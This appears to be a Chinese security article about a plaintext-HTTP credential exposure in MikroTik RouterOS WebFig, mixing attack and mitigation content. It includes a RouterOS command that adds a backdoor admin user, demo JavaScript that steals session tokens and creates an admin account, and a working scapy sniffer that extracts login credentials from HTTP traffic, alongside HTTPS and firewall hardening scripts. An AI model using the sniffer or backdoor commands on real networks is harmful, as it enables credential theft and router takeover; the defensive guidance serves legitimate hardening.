
🕒 发布时间: 2025 | 💣 CVSS 10.0 (严重) | 🌐 影响版本: RouterOS v7.14.2 & SwitchOS v2.18
sessionStorage 数据同样以明文传输,攻击者可窃取并使用这些数据冒充合法用户。如前文“安装指南”所述,攻击者通过 ARP 欺骗或被动嗅探,在受害者登录时截获其凭证。
捕获的 HTTP POST 请求示例:
POST /fig HTTP/1.1
Host: 192.168.88.1
User-Agent: Mozilla/5.0
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
username=admin&password=MySecretPassword攻击者使用捕获的凭证登录 WebFig。登录后,可以通过 WebFig 的“系统” -> “脚本”功能,或者直接使用 SSH 登录(如果已开启)来执行恶意命令。
通过 WebFig 执行命令示例:
攻击者可以在 WebFig 的脚本界面创建一个新脚本,内容如下,以创建后门用户:
/user add name=attacker password=backdoor123 group=full通过命令行或 WebFig 禁用 HTTP 并启用 HTTPS。
# 通过 SSH 或控制台执行
/ip service set www disabled=yes
/ip service set www-ssl disabled=no
/ip service set www-ssl port=443注意:首次启用 HTTPS 可能需要上传或生成证书。
创建严格的防火墙规则,只允许受信任的 IP 地址或 VLAN 访问管理端口。
# 允许来自 192.168.10.0/24 的 IP 访问 HTTPS 管理端口
/ip firewall filter add chain=input protocol=tcp dst-port=443 src-address=192.168.10.0/24 action=accept
# 拒绝其他所有访问 443 端口的流量
/ip firewall filter add chain=input protocol=tcp dst-port=443 action=drop
# 同时确保限制 SSH (22) 和 API (8728) 等其他管理服务最佳实践是不要将任何管理服务直接暴露在网络上,而是通过 VPN(如 WireGuard, OpenVPN, L2TP/IPsec)连接后,再在内网进行管理。
关注 MikroTik 官方公告,并在补丁发布后第一时间升级到修复版本。
以下提供了在审计或利用此类漏洞时可能涉及的核心概念代码。
此代码片段展示了当 WebFig 使用 HTTP 时,sessionStorage 中的数据是如何在客户端以明文形式存在的,并且容易通过 XSS 或其他方式被窃取。
// 模拟 WebFig 登录成功后的客户端操作
// 注意:以下代码仅为演示原理,非实际 WebFig 源码
// 假设登录成功后,服务器返回一个包含用户信息和会话令牌的响应
function onLoginSuccess(responseData) {
// 敏感数据被明文存储在 sessionStorage 中
sessionStorage.setItem('username', responseData.username); // 如 "admin"
sessionStorage.setItem('sessionToken', responseData.sessionToken); // 如 "a1b2c3d4e5f6..."
sessionStorage.setItem('userGroup', responseData.userGroup); // 如 "full"
console.log("用户数据已存储到 sessionStorage (明文)");
// 此后,每次 AJAX 请求都会从 sessionStorage 读取 token 并附加到 Header 中
}
// 攻击者若通过 XSS 或其他方式执行以下代码,即可窃取数据
function attackerStealData() {
var stolenData = {
user: sessionStorage.getItem('username'),
token: sessionStorage.getItem('sessionToken'),
group: sessionStorage.getItem('userGroup')
};
// 将 stolenData 发送到攻击者服务器
console.log("数据被盗: ", stolenData);
}
// 如果网站未设置 HttpOnly 标志,攻击者甚至可能通过脚本创建新的管理员
function attackerCreateAdmin() {
fetch('/rest/user/add', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Token': sessionStorage.getItem('sessionToken') // 使用窃取的 token 认证
},
body: 'name=hacker&password=owned&group=full'
});
}这是一个在 MikroTik 设备上通过命令行脚本强制启用 HTTPS 并禁用 HTTP 的标准操作,是修复此漏洞的核心步骤。
# 文件名: force_https_webfig.rsc
# 描述: 用于 MikroTik RouterOS 的脚本,用于禁用不安全的 HTTP WebFig 并启用 HTTPS。
# 进入 IP 服务配置菜单
/ip service
# 禁用不安全的 HTTP 服务 (默认端口 80)
set www disabled=yes
# 启用 HTTPS 服务 (默认端口 443)
# 注意: 如果这是第一次启用,可能需要先生成一个自签名证书或上传证书。
set www-ssl disabled=no
# 确保 HTTPS 服务监听在正确的端口
set www-ssl port=443
# 可选: 限制谁可以访问 HTTPS 服务
# /ip firewall filter add chain=input protocol=tcp dst-port=443 src-address=192.168.1.0/24 action=accept
# /ip firewall filter add chain=input protocol=tcp dst-port=443 action=drop
# 打印当前服务状态进行确认
:put "WebFig 服务状态已更新:"
:put "HTTP (www) 已禁用"
:put "HTTPS (www-ssl) 已启用"
# 如果遇到证书问题,可以快速生成一个自签名证书:
# /certificate add name=webfig-cert common-name=<router_ip_or_domain> days-valid=3650 key-size=2048 trust
# /ip service set www-ssl certificate=webfig-cert此 Python 脚本使用 scapy 库演示了攻击者如何在网络中嗅探包含特定关键字的 HTTP POST 数据包,以自动化捕获凭证。
#!/usr/bin/env python3
# 文件名: http_sniffer.py
# 描述: 一个简单的网络嗅探器,用于演示如何捕获明文 HTTP POST 中的凭证。
# 警告: 仅用于授权的安全测试和教育目的。
from scapy.all import *
import re
def packet_callback(packet):
# 检查是否为 TCP 包,且包含原始负载 (Raw)
if packet.haslayer(TCP) and packet.haslayer(Raw):
tcp_layer = packet.getlayer(TCP)
raw_data = packet[Raw].load.decode(errors='ignore')
# 简单判断是否为 HTTP POST 请求
if "POST" in raw_data and "HTTP/1.1" in raw_data:
# 检查是否可能发往 WebFig 路径 (/fig)
if "/fig" in raw_data:
print(f"[!] 捕获到潜在的 WebFig 登录流量")
print(f" 源IP: {packet[IP].src}:{tcp_layer.sport} -> 目标IP: {packet[IP].dst}:{tcp_layer.dport}")
# 尝试提取用户名和密码 (非常简单的正则,用于演示)
user_match = re.search(r'username=([^&\s]*)', raw_data)
pass_match = re.search(r'password=([^&\s]*)', raw_data)
if user_match and pass_match:
print(f"[+] 凭证泄露! 用户名: {user_match.group(1)}, 密码: {pass_match.group(1)}")
print("-" * 50)
# 开始嗅探,例如监听 eth0 接口上的 80 端口流量
# 注意: 在真实环境中,可能需要更精细的过滤条件
print("[*] 开始嗅探 HTTP 流量 (端口 80)...")
sniff(filter="tcp port 80", prn=packet_callback, store=0)
```FINISHED6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ44Rz4Rxk27/zBesovNgOhq
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。